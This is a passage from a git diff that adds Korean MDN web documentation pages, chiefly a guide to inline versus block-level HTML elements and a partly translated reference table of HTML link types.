+ <p>HTML 요소는 공통 특성을 공유하는 요소끼리 묶는 콘텐츠 카테고리 한 가지 이상에 속할 수 있습니다. 콘텐츠 카테고리는 느슨한 관계로 서로 간에 어떤 관계를 형성하지는 않지만, 카테고리에서 공유하는 동작이나 관련 규칙을 정의하고 설명할 때, 특히 복잡한 세부사항을 포함할 때는 더욱 도움이 됩니다.</p>
+ </dd>
+ <dt class="landingPageList"><a href="/ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">호환성 모드와 표준 모드</a></dt>
+ <dd class="landingPageList">호환성 모드와 표준 모드에 대한 역사적인 정보.</dd>
+</dl>
+
+<h2 class="landingPageList" id="관련_주제">관련 주제</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Applying_color">CSS를 사용해 HTML 요소에 색 입히기</a></dt>
+ <dd>
+ <p>이 문서는 HTML 문서의 어떤 부분에 색을 적용할 수 있는지와, 이 때 사용할 수 있는 CSS 속성을 나열합니다. 예제와 함께 각종 도구로의 링크도 제공합니다.</p>
+ </dd>
+</dl>
+</div>
+</div>
+<span class="alllinks"><a href="/ko/docs/tag/HTML">모두 보기...</a></span></section>
diff --git a/files/ko/web/html/index/index.html b/files/ko/web/html/index/index.html
new file mode 100644
index 0000000000..dde859c07d
--- /dev/null
+++ b/files/ko/web/html/index/index.html
@@ -0,0 +1,10 @@
+---
+title: HTML documentation index
+slug: Web/HTML/Index
+tags:
+  - HTML
+  - Index
+  - MDN Meta
+translation_of: Web/HTML/Index
+---
+<p>{{Index("/ko/docs/Web/HTML")}} <span class="seoSummary">전체 HTML 문서의 목록입니다.</span></p>
diff --git a/files/ko/web/html/inline_elements/index.html b/files/ko/web/html/inline_elements/index.html
new file mode 100644
index 0000000000..b5e0219a01
--- /dev/null
+++ b/files/ko/web/html/inline_elements/index.html
@@ -0,0 +1,169 @@
+---
+title: 인라인 요소
+slug: Web/HTML/Inline_elements
+tags:
+  - Beginner
+  - Development
+  - Guide
+  - HTML
+  - Layout
+  - Web
+translation_of: Web/HTML/Inline_elements
+---
+<p>HTML(<strong>Hypertext Markup Language</strong>)의 요소는 역사적으로 <a href="/ko/docs/HTML/Block-level_elements">"블록 레벨" 요소</a>와 "인라인" 요소로 분류됐습니다. 인라인 요소는 콘텐츠의 흐름을 끊지 않고, 요소를 구성하는 태그에 할당된 공간만 차지합니다. 이 글은 인라인 요소란 무엇인지와 블록 레벨 요소와의 차이점을 살펴봅니다.</p>
+
+<div class="blockIndicator note">
+<p>인라인 요소는 새로운 줄을 만들지 않으며 필요한 너비만 차지합니다.</p>
+</div>
+
+<h2 id="인라인_vs._블록_레벨_요소">인라인 vs. 블록 레벨 요소</h2>
+
+<p>간단한 예제만으로 쉽게 설명할 수 있습니다. 우선 다음 CSS를 사용하겠습니다.</p>
+
+<pre class="brush: css">.highlight {
+  background-color: #ee3;
+}
+</pre>
+
+<h3 id="인라인">인라인</h3>
+
+<p>인라인 요소를 보이는 다음 예제를 확인해주세요.</p>
+
+<pre class="brush: html">&lt;div&gt;다음 span은 &lt;span class="highlight"&gt;인라인 요소&lt;/span&gt;로,
+영향 범위의 시작과 끝을 알 수 있도록 배경색을 지정했습니다.&lt;/div&gt;</pre>
+
+<p>이 예제에서 {{HTMLElement("div")}}는 텍스트를 가진 블록 레벨 요소입니다. 그 텍스트 안에는 인라인 요소인 {{HTMLElement("span")}}이 존재합니다. <code>&lt;span&gt;</code>은 인라인이기 때문에 전체 문단이 끊기지 않고 하나로 그려집니다. 결과도 확인해보세요.</p>
+
+<p>{{EmbedLiveSample("인라인", 600, 80)}}</p>
+
+<div class="hidden">
+<p>For looks, this CSS (not displayed in standard reading mode) is also used:</p>
+
+<pre class="brush: css">body {
+  margin: 0;
+  padding: 4px;
+  border: 1px solid #333;
+}
+
+.highlight {
+  background-color:#ee3;
+}</pre>
+</div>
+
+<h3 id=".EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8" name=".EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8">블록 레벨</h3>
+
+<p>이제 아까 만든 <code>&lt;span&gt;</code>을 마치 {{htmlelement("p")}}처럼 블록 레벨인 요소로 바꿔보겠습니다.</p>
+
+<pre class="brush: html">&lt;div&gt;다음 p는 &lt;p class="highlight"&gt;블록 레벨 요소&lt;/p&gt;로,
+영향 범위의 시작과 끝을 알 수 있도록 배경색을 지정했습니다.</pre>
+
+<div class="hidden">
+<p>The CSS (not displayed in standard reading mode) is also used:</p>
+
+<pre class="brush: css">body {
+  margin: 0;
+  padding: 4px;
+  border: 1px solid #333;
+}
+
+.highlight {
+  background-color:#ee3;
+}</pre>
+</div>
+
+<p>아까와 같은 CSS를 사용했을 때, 결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("블록_레벨", 600, 150)}}</p>
+
+<p>차이가 보이나요? <code>&lt;p&gt;</code> 요소는 텍스트의 레이아웃을 완전히 바꿔, <code>&lt;p&gt;</code> 이전과 자기 자신의 텍스트, 그리고 <code>&lt;p&gt;</code> 이후의 세 부분으로 나눠버렸습니다.</p>
+
+<h3 id="요소_레벨_변경">요소 레벨 변경</h3>
+
+<p>CSS {{cssxref("display")}} 속성을 사용해 요소의 시각적 표현 레벨을 바꿀 수 있습니다. 예컨대 <code>display</code>의 값을 <code>inline</code>에서 <code>block</code>으로 바꾸면, 브라우저에게 이 인라인 요소를 인라인 박스 대신 블록 박스를 사용해 그리라고 알리는 것입니다. 그러나 이 방법을 사용해도 요소의 카테고리와 콘텐츠 모델은 바뀌지 않습니다. 즉 <code>&lt;span&gt;</code> 요소의 <code>display</code>를 <code>block</code>으로 지정한다 해도, 그 안에 <code>&lt;div&gt;</code>를 넣을 수는 없습니다.</p>
+
+<h2 id="개념적_차이">개념적 차이</h2>
+
+<p>다음은 인라인과 블록 레벨 요소의 간략한 개념적 차이입니다.</p>
+
+<dl>
+ <dt>콘텐츠 모델</dt>
+ <dd>보통 인라인 요소는 데이터와 다른 인라인 요소만 포함할 수 있으며, 블록 요소는 포함할 수 없습니다.</dd>
+ <dt>서식</dt>
+ <dd>기본적으로, 인라인 요소는 문서 흐름에서 줄바꿈을 강제하지 않습니다. 반면 블록 요소는 줄바꿈을 유발합니다. (물론 언제나처럼 CSS로 바꿀 수 있습니다)</dd>
+</dl>
+
+<h2 id="요소_목록">요소 목록</h2>
+
+<p>다음은 기본값이 인라인인 요소의 목록입니다. (사실 HTML5는 블록과 인라인 요소를 정의하지 않습니다. <a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a>를 사용하세요)</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{ HTMLElement("a") }}</dt>
+ <dt>{{ HTMLElement("abbr") }}</dt>
+ <dt>{{ HTMLElement("acronym") }}</dt>
+ <dt>{{ HTMLElement("audio") }} (컨트롤이 보이면)</dt>
+ <dt>{{ HTMLElement("b") }}</dt>
+ <dt>{{ HTMLElement("bdi") }}</dt>
+ <dt>{{ HTMLElement("bdo") }}</dt>
+ <dt>{{ HTMLElement("big") }}</dt>
+ <dt>{{ HTMLElement("br") }}</dt>
+ <dt>{{ HTMLElement("button") }}</dt>
+ <dt>{{ HTMLElement("canvas") }}</dt>
+ <dt>{{ HTMLElement("cite") }}</dt>
+ <dt>{{ HTMLElement("code") }}</dt>
+ <dt>{{ HTMLElement("data") }}</dt>
+ <dt>{{ HTMLElement("datalist") }}</dt>
+ <dt>{{ HTMLElement("del") }}</dt>
+ <dt>{{ HTMLElement("dfn") }}</dt>
+ <dt>{{ HTMLElement("em") }}</dt>
+ <dt>{{ HTMLElement("embed") }}</dt>
+ <dt>{{ HTMLElement("i") }}</dt>
+ <dt>{{ HTMLElement("iframe") }}</dt>
+ <dt>{{ HTMLElement("img") }}</dt>
+ <dt>{{ HTMLElement("input") }}</dt>
+ <dt>{{ HTMLElement("ins") }}</dt>
+ <dt>{{ HTMLElement("kbd") }}</dt>
+ <dt>{{ HTMLElement("label") }}</dt>
+ <dt>{{ HTMLElement("map") }}</dt>
+ <dt>{{ HTMLElement("mark") }}</dt>
+ <dt>{{ HTMLElement("meter") }}</dt>
+ <dt>{{ HTMLElement("noscript") }}</dt>
+ <dt>{{ HTMLElement("object") }}</dt>
+ <dt>{{ HTMLElement("output") }}</dt>
+ <dt>{{ HTMLElement("picture") }}</dt>
+ <dt>{{ HTMLElement("progress") }}</dt>
+ <dt>{{ HTMLElement("q") }}</dt>
+ <dt>{{ HTMLElement("ruby") }}</dt>
+ <dt>{{ HTMLElement("s") }}</dt>
+ <dt>{{ HTMLElement("samp") }}</dt>
+ <dt>{{ HTMLElement("script") }}</dt>
+ <dt>{{ HTMLElement("select") }}</dt>
+ <dt>{{ HTMLElement("slot") }}</dt>
+ <dt>{{ HTMLElement("small") }}</dt>
+ <dt>{{ HTMLElement("span") }}</dt>
+ <dt>{{ HTMLElement("strong") }}</dt>
+ <dt>{{ HTMLElement("sub") }}</dt>
+ <dt>{{ HTMLElement("sup") }}</dt>
+ <dt>{{ HTMLElement("svg") }}</dt>
+ <dt>{{ HTMLElement("template") }}</dt>
+ <dt>{{ HTMLElement("textarea") }}</dt>
+ <dt>{{ HTMLElement("time") }}</dt>
+ <dt>{{ HTMLElement("u") }}</dt>
+ <dt>{{ HTMLElement("tt") }}</dt>
+ <dt>{{ HTMLElement("var") }}</dt>
+ <dt>{{ HTMLElement("video") }}</dt>
+ <dt>{{ HTMLElement("wbr") }}</dt>
+</dl>
+</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/HTML/Block-level_elements">블록 레벨 요소</a></li>
+ <li><a href="/ko/docs/Web/HTML/Element">HTML 요소 참고서</a></li>
+ <li>{{cssxref("display")}}</li>
+ <li><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">일반 플로우에서의 블록과 인라인 레이아웃</a></li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/ko/docs/Web/HTML/")}}</p>
diff --git a/files/ko/web/html/link_types/index.html b/files/ko/web/html/link_types/index.html
new file mode 100644
index 0000000000..ab23f9b35e
--- /dev/null
+++ b/files/ko/web/html/link_types/index.html
@@ -0,0 +1,332 @@
+---
+title: Link types
+slug: Web/HTML/Link_types
+tags:
+  - Attribute
+  - HTML
+  - Link
+  - Link types
+  - Reference
+translation_of: Web/HTML/Link_types
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>다음 표에 나열된 링크 타입 속성은 HTML에서 두 문서간의 관계를 명시할 때 사용합니다. 이 때 {{HTMLElement("a")}}, {{HTMLElement("area")}}, 또는 {{HTMLElement("link")}} 요소를 사용해 한 쪽에서 다른 쪽으로 향하는 연결고리를 만듭니다.</p>
+
+<table class="standard-table">
+ <caption>링크 타입 및 HTML에서의 중요도</caption>
+ <thead>
+  <tr>
+   <th scope="col">링크 타입</th>
+   <th scope="col">설명</th>
+   <th scope="col" style="width: 12em;">적용 가능한 요소</th>
+   <th scope="col">적용 불가능한 요소</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>alternate</code></td>
+   <td>
+    <ul>
+     <li>만약 요소가 {{HTMLElement("link")}}이고, {{htmlattrxref("rel", "link")}}  속성값에  <code>stylesheet</code>라는 값이 들어 있다면, 링크가 <a href="/en-US/docs/Alternative_style_sheets">대체 스타일 시트</a>로 정의된 것입니다. 이 경우, {{htmlattrxref("title", "link")}} 속성은 반드시 존재해야 하고 빈 문자열 값을 가지고 있으면 안됩니다.</li>
+     <li>만약 {{htmlattrxref("type","link")}}의 값이 <code>application/rss+xml</code>이거나 <code>application/atom+xml</code>로 설정되어 있다면, 링크를 <a href="/en-US/docs/RSS/Getting_Started/Syndicating">syndication feed</a>(기고 알림)로 정의된 것입니다. 페이지에서 정의된 것 중 첫번째 것이 기본값입니다.</li>
+     <li>위의 두 경우를 제외하면, 링크는 아래 대체 페이지 항목 중 한가지로 정의된 것입니다.
+      <ul>
+       <li>휴대용 기기와 같은 다른 매체에서 보여질 페이지({{htmlattrxref("media","link")}} 속성이 정의되어 있을 시)</li>
+       <li>외국어로 된 페이지({{htmlattrxref("hreflang","link")}} 속성이 정의되어 있을 시)</li>
+       <li>PDF처럼 다른 형식으로 된 페이지({{htmlattrxref("type","link")}} 속성이 정의되어 있을 시)</li>
+       <li>위 세가지 속성 중 2개 이상 같이 쓰인 페이지</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>없음.</em></td>
+  </tr>
+  <tr>
+   <td><code>archives</code> {{obsolete_inline}}</td>
+   <td>
+    <p>'이 요소는 본인 페이지에 대한 아카이브 링크를 포함하고 있는 문서로 연결해 주는 하이퍼링크임'이라고 정의하는 값입니다. 예를 들어, 이 속성값을 사용해 블로그 대문(entry)에서 월별 인덱스 페이지로 이동할 수 있는 링크를 걸 수 있습니다.<br>
+     <br>
+     <strong>알아두기:</strong> <code>archive</code> 값 하나만 써도 인식이 되기는 하나, 올바른 사용법이 아니므로 이런 식의 사용은 하지 말아 주십시오.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>없음.</em></td>
+  </tr>
+  <tr>
+   <td><code>author</code></td>
+   <td>
+    <p>'저자에 대한 정보 및 저자와 연락 가능한 연락처 정보가 담긴 페이지로 향하는 하이퍼링크임'이라고 정의하는 값입니다.<br>
+     <br>
+     <strong>알아두기:</strong>  mailto: 하이퍼링크가 동일한 역할을 하긴 하나, 웹 크롤러(robot harvester)에 의해 이 주소로 많은 스팸이 보내질 가능성이 높으므로 사용을 권할만하지는 않습니다. 이이런 경우에는 연락처 폼 요소가 들어있는 페이지로 사용자를 이끄는 편이 더 낫습니다.</p>
+
+    <p>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}} 요소에 {{htmlattrxref("rev", "link")}} 속성을 사용하고 링크 타입을 <code>made</code>로 넣으면 인식이 되기는 하지만 부정확한 값이므로 {{htmlattrxref("rel", "link")}} 속성값을 <code>author</code>로 대체해야 합니다.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>없음.</em></td>
+  </tr>
+  <tr>
+   <td><code>bookmark</code></td>
+   <td>
+    <p>'가장 가까운 조상 {{HTMLElement("article")}} 요소에 대해 퍼머링크(<a href="/en-US/docs/Permalink">permalink</a>)를 제공하는 하이퍼링크임'이라고 정의하는 값입니다. 만약 <code>article</code> 요소가 없다면, 링크 요소와 가장 가까운 관계를 맺고 있는 <code><a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">section</a></code>에 대한 퍼머링크로 인식이 됩니다.</p>
+
+    <p>이 속성을 사용하면 (월별 블로그 총결산 페이지라던가 블로그 aggregator 사이트 등에서) 한 페이지 내에 존재하는 여러 편의 글(article)이 존재할 때, 특정한 하나의 글에 대한 즐겨찾기를 표시 해 둘 수 있습니다.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>canonical</code></td>
+   <td>캐노니컬 링크 요소는 웹 마스터의 {{glossary("SEO")}} 작업 중, 중복 콘텐츠 이슈를 해소하기 위해 웹 페이지의 "공식" 혹은 "선호" URL을 지정할 수 있는 HTML 요소입니다.</td>
+   <td>{{htmlelement("link")}}</td>
+   <td>
+    <p>{{htmlelement("a")}}, {{htmlelement("area")}}, {{htmlelement("form")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/HTML/Link_types/dns-prefetch"><code>dns-prefetch</code> </a>{{experimental_inline}}</td>
+   <td>브라우저에게 해당 리소스가 필요하다고 알려줘서 사용자가 링크를 클릭하기 전에 미리 DNS 조회와 프로토콜 핸드셰이크를 수행할 수 있도록 허용합니다.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>external</code></td>
+   <td>하이퍼링크가 현재 사이트 바깥의 리소스를 가리킴을 나타냅니다. 즉, 이 링크를 따라가면 사이트를 떠나게 됩니다.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>first</code> {{obsolete_inline}}</td>
+   <td>
+    <p>하이퍼링크가 현재 페이지가 속한 시퀀스(<em>sequence</em>) 중 첫번째 리소스로 이동하는 링크임을 정의합니다.<br>
+     <br>
+     <strong>알아두기:</strong> 이것 말고도 리소스를 같은 시퀀스로 연결할 때 이와 관련있는 링크 타입으로 <code>last</code>, <code>prev</code>, <code>next</code>가 있습니다.</p>
+
+    <p><code>begin</code>이나 <code>start</code>라고 쓰면 인식이 되긴 하나 부정확한 값이므로 사용하지 말아야 합니다.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>help</code></td>
+   <td>
+    <ul>
+     <li>만약 요소가 {{HTMLElement("a")}}거나 {{HTMLElement("area")}}이면, <code>help</code>는 하이퍼링크가 부모와 자손 요소에 대한 추가 도움말을 제공하는 리소스를 가리킴을 나타냅니다.</li>
+     <li>만약 요소가 {{HTMLElement("link")}}라면 help는 하이퍼링크가 페이지 전체에 대한 추가 도움말을 제공하는 리소스를 가리킴을 나타냅니다.</li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>
+    <p>사용자 인터페이스에서 페이지를 나타낼 때 사용하는 리소스, 보통 아이콘을 정의합니다.<br>
+     <br>
+     {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}}, {{htmlattrxref("sizes","link")}} 특성을 사용하면 브라우저가 현재 맥락에서 제일 적합한 아이콘을 선택할 수 있습니다. 다수의 적합한 리소스가 존재하는 경우, 브라우저는 트리 순서에서 제일 뒤에 정의된 리소스를 사용합니다. 위의 특성은 단순히 힌트에 불과하며, 추가 조사 결과 더 적합한 리소스를 찾았다면 이전 선택을 스스로 바꿀 수 있습니다.<br>
+     <br>
+     <strong>참고:</strong> Apple의 iOS는 Web Clip 또는 시작 화면 플레이스 홀더에 사용할 아이콘을 고를 때, 다른 모바일 브라우저와는 달리 <code>icon</code> 링크 유형은 물론 {{htmlattrxref("sizes","link")}} 특성을 사용하지 않습니다. 대신, 각각에 대응ㅇ하는 비표준 <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4"><code>apple-touch-icon</code></a>과 <a class="external external-icon" href="https://developer.apple.com/library/content/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6"><code>apple-touch-startup-image</code></a>를 사용합니다.<br>
+     <br>
+     종종 <code>icon</code> 앞에 <code>shortcut</code> 링크 유형이 존재하나, <code>shortcut</code>은 비표준이며 브라우저가 무시하므로 웹 작성자는 <strong>이제 사용해서는 안되는 유형</strong>입니다.</p>
+   </td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>index</code> {{obsolete_inline}}</td>
+   <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the top level resource of that structure.<br>
+    <br>
+    If one or several <code>up</code> link types are also present, the number of these <code>up</code> indicates the depth of the current page in the hierarchy.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>last</code> {{obsolete_inline}}</td>
+   <td>Indicates that the hyperlink leads to the <em>last</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>next</code>.<br>
+    <br>
+    Although recognized, the synonym <code>end</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>license</code></td>
+   <td>하이퍼링크가 라이선스 정보를 담은 문서를 가리킴을 나타냅니다. {{HTMLElement("head")}} 요소 밖에 위치한 경우, 표준에서는 <code>license</code>에 대해 문서 전체에 대한 것인지, 문서 일부에 대한 것인지 구분하지 않으며 해당 페이지 내의 데이터로만 알 수 있습니다.<br>
+    <br>
+    <strong>참고: </strong><code>copyright</code>은 잘못된 동의어로, 브라우저가 인식하긴 하나 사용을 지양해야 합니다.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code><a href="/ko/docs/Web/HTML/Link_types/manifest">manifest</a></code></td>
+   <td>연결한 파일이 <a href="/ko/docs/Web/Manifest">Web App Manifest</a>임을 나타냅니다.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>Indicates that the hyperlink leads to the <em>next</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>last</code>.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>nofollow</code></td>
+   <td>Indicates that the linked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is commercial relationship between the two (sold link). This link type may be used by some search engines that use popularity ranking techniques.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>noopener</code></td>
+   <td>
+    <p>해당 속성을 사용하여 링크를 클릭하면, 브라우저 컨텍스트 권한 없이 열립니다. 이 말은 곧, 새 창에서 {{domxref("Window.opener")}} 속성이 <code>null</code> 값을 반환하는것과 같습니다.</p>
+
+    <p>해당 속성은 특히나 신뢰할 수 없는 링크를 열 때 유용합니다. {{domxref("Window.opener")}} 속성을 통한 컨트롤을 막아주고, (더욱 자세한 사항은 링크를 참조하세요. <a href="https://mathiasbynens.github.io/rel-noopener/">About rel=noopener</a>) <code>Referer</code> HTTP 헤더를 사용합니다.</p>
+
+    <p><code>noopener</code> 속성을 사용한다면, target 속성의 값으로 <code>_top</code>, <code>_self</code>, <code>_parent</code> 속성을 제외한 다른 속성은, 새 브라우저 창을 열 것인가에 대하여 <code>_blank</code> 속성으로써 적용됨을 주의하세요.</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>noreferrer</code></td>
+   <td>
+    <p>Prevents the browser, when navigating to another page, to send this page address, or any other value, as referrer via the <code>Referer:</code> HTTP header.<br>
+     (In Firefox, before Firefox 37, this worked only in links found in pages. Links clicked in the UI, like "Open in a new tab" via the contextual menu, ignored this).</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>pingback</code></td>
+   <td>Defines an external resource URI to call if one wishes to make a comment or a citation about the webpage. The protocol used to make such a call is defined in the <a href="http://www.hixie.ch/specs/pingback/pingback">Pingback 1.0</a> specification.<br>
+    <br>
+    <strong>Note:</strong> if the <code>X-Pingback:</code> HTTP header is also present, it supersedes the {{HTMLElement("link")}} element with this link type.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>preconnect</code> {{experimental_inline}}</td>
+   <td>Provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prefetch</code></td>
+   <td>Suggests that the browser fetch the linked resource in advance, as it is likely to be requested by the user. Starting with Firefox 44, the value of the {{htmlattrxref("crossorigin", "link")}} attribute is taken into consideration, making it possible to make anonymous prefetches.<br>
+    <br>
+    <strong>Note:</strong> The <a href="/en-US/docs/Link_prefetching_FAQ">Link Prefetch FAQ</a> has details on which links can be prefetched and on alternative methods.</td>
+   <td>{{HTMLElement("a")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("area")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>Tells the browser to download a resource because this resource will be needed later during the current navigation. See <a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with rel="preload"</a> for more details.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code> {{experimental_inline}}</td>
+   <td>Suggests that the browser fetch the linked resource in advance, and that it also render the prefetched content offscreen so it can be quickly presented to the user once needed.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prev</code></td>
+   <td>Indicates that the hyperlink leads to the <em>preceding</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> You can also use the <code>next</code> keyword to specify a link to the next page in the sequence.<br>
+    <br>
+    Although recognized, the synonym <code>previous</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>search</code></td>
+   <td>Indicates that the hyperlink references a document whose interface is specially designed for searching in this document, or site, and its resources.<br>
+    <br>
+    If the {{htmlattrxref("type","link")}} attribute is set to <code>application/opensearchdescription+xml </code>the resource is an <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">OpenSearch plugin</a> that can be easily added to the interface of some browsers like Firefox or Internet Explorer.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>stylesheet</code></td>
+   <td>Defines an external resource to be used as a stylesheet. If the <code>type</code> is not set, the browser should assume it is a <code>text/css</code> stylesheet until further inspection.<br>
+    <br>
+    If used in combination with the <code>alternate</code> keyword, it defines an <a href="/en-US/docs/Alternative_style_sheets">alternative style sheet</a>; in that case the {{htmlattrxref("title", "link")}} attribute must be present and not be the empty string.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>sidebar</code> {{non-standard_inline}}</td>
+   <td>Indicates that the hyperlink leads to a resource that would be better suited for a secondary browsing context, like a <em>sidebar</em>. Browsers, that don't have such a context will ignore this keyword.<br>
+    <br>
+    While once part of the HTML specification, this has been removed from the spec and is only implemented by Firefox at this time.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+  <tr>
+   <td><code>tag</code></td>
+   <td>Indicates that the hyperlink refers to a document describing a <em>tag</em> that applies to this document.<br>
+    <br>
+    <strong>Note:</strong> This link type should not be set on links to a member of a tag cloud as these do not apply to a single document but to a set of pages.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>up</code> {{obsolete_inline}}</td>
+   <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the higher level resource of that structure.<br>
+    <br>
+    The number of <code>up</code> link types indicates the depth difference between the current page and the linked resource.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>None.</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Preload','#x2.link-type-preload','preload')}}</td>
+   <td>{{Spec2('Preload')}}</td>
+   <td>Added <code>preload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}</td>
+   <td>{{Spec2('Resource Hints')}}</td>
+   <td>Added <code>dns-prefetch</code>, <code>preconnect</code>, and <code>prerender</code> values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
